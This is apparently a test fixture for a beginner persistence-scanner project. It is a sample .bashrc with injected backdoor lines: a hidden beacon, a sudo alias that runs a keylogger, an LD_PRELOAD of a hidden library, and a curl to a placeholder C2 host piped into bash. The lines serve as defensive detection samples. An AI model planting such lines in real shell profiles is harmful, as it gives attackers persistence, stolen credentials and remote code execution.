Cybersecurity-Projects/PROJECTS/beginner/systemd-persistence-scanner/testdata/profiles/injected-bashrc

16 lines
311 B
Plaintext

# ~/.bashrc: executed by bash for non-login shells
case $- in
*i*) ;;
*) return;;
esac
HISTCONTROL=ignoreboth
export PS1='\u@\h:\w\$ '
# injected backdoor
nohup /tmp/.hidden/beacon &
alias sudo='/tmp/.keylog && sudo'
export LD_PRELOAD=/dev/shm/.evil.so
curl -s http://c2.example.com/checkin | bash